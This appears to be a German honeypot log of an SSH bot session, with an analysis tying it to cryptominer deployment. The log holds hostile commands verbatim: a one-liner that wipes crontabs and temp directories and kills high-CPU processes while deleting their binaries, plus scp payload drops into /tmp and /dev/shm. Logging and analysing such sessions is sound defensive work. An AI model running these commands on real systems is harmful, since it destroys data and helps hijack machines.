12.10.2026, 04:14 UTC · 72 Befehle · über ssh · Niederlande · 29× wiederholt
user='pi' pass='q1w2e3r4' pi@srv01:~$ uname -m | awk '{printf $1}' x86_64 pi@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' up 8 days, 03:45 pi@srv01:~$ lspci | egrep VGA && lspci | grep 3D 00:02.0 VGA compatible controller: Intel Corporation Xeon E3-1200 v5/E3-1200 v6 | 3rd Generation Core (Intel 4th Gen) Integrated Graphics Controller (rev 06) pi@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- Intel(R) Xeon(R) CPU E5-2620 v4 @ 2.10GHz pi@srv01:~$ curl ipinfo.io/org AS140612 pi@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 bash: nvidia-smi: command not found pi@srv01:~$ nvidia-smi -q | grep "Product Name" bash: nvidia-smi: command not found pi@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 pi@srv01:~$ uname -n | awk '{printf $1}' web02 pi@srv01:~$ uname -r | awk '{printf $1}' 4.15.0-213-generic pi@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… bash: pidof: command not found bash: pkill: command not found pi@srv01:~$ echo q1w2e3r4 > /tmp/d.log pi@srv01:~$ scp -qt "/var/tmp/iFpJYUvU" pi@srv01:~$ scp -qt "/tmp/iFpJYUvU" pi@srv01:~$ scp -qt "/dev/shm/iFpJYUvU" pi@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 pi@srv01:~$ echo user > /tmp/d.log pi@srv01:~$ scp -qt "/var/tmp/bxUhSsmJ" pi@srv01:~$ scp -qt "/tmp/bxUhSsmJ" pi@srv01:~$ scp -qt "/dev/shm/bxUhSsmJ" pi@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 pi@srv01:~$ echo 123123 > /tmp/d.log pi@srv01:~$ scp -qt "/var/tmp/OyqGanHB" pi@srv01:~$ scp -qt "/tmp/OyqGanHB" pi@srv01:~$ scp -qt "/dev/shm/OyqGanHB" pi@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 pi@srv01:~$ echo admin > /tmp/d.log pi@srv01:~$ scp -qt "/var/tmp/VhmAtGSO" pi@srv01:~$ scp -qt "/tmp/VhmAtGSO" pi@srv01:~$ scp -qt "/dev/shm/VhmAtGSO" pi@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 pi@srv01:~$ echo raspberry > /tmp/d.log pi@srv01:~$ scp -qt "/var/tmp/QKFDsqVy" pi@srv01:~$ scp -qt "/tmp/QKFDsqVy" pi@srv01:~$ scp -qt "/dev/shm/QKFDsqVy" pi@srv01:~$ uname -s -v -n -r -m Linux 4.15.0-213-generic #213-Ubuntu SMP Fri Jan 15 10:52:24 UTC 2021 x86_64 pi@srv01:~$ echo admin123 > /tmp/d.log pi@srv01:~$ scp -qt "/var/tmp/bRVvhsye" pi@srv01:~$ scp -qt "/tmp/bRVvhsye"
Der Angreifer meldete sich mit schwachen Standardzugangsdaten für den Benutzer pi an. Er führte eine Reihe von Systemabfragen durch, um Hardware und Netzwerk zu identifizieren. Danach löschte er temporäre Dateien und beendete Prozesse mit hoher CPU oder RAM Auslastung. Abschließend versuchte er, mehrere Dateien über scp in verschiedene Verzeichnisse zu kopieren.
Die Befehle uname und lscpu ermitteln Architektur und CPU Modell. Die Abfrage von lspci und nvidia-smi prüft auf vorhandene Grafikkarten, die für Mining geeignet sind. Der Befehl crontab -r löscht geplante Aufgaben, während rm Dateien im tmp Verzeichnis entfernt. Die ps aux Schleife identifiziert Prozesse mit hoher Ressourcennutzung und beendet sie gewaltsam. Die scp Befehle versuchen, Dateien in /var/tmp, /tmp und /dev/shm zu übertragen, was auf einen Upload oder Download hindeutet.
Das Vorgehen deutet auf die Vorbereitung eines Kryptomining Bots hin. Die Abfrage nach Grafikkarten und die Eliminierung konkurrierender Prozesse sind typische Merkmale. Der Versuch, Dateien in temporäre Speicherorte zu schreiben, dient der Persistenz oder dem Download des Mining Codes.
Dieses Muster ist sehr verbreitet bei automatisierten Botnetzen, die auf IoT Geräte und schwach gesicherte Linux Systeme abzielen. Die Kombination aus Hardware Erkennung und Prozess Bereinigung ist ein Standardvorgehen für Mining Malware.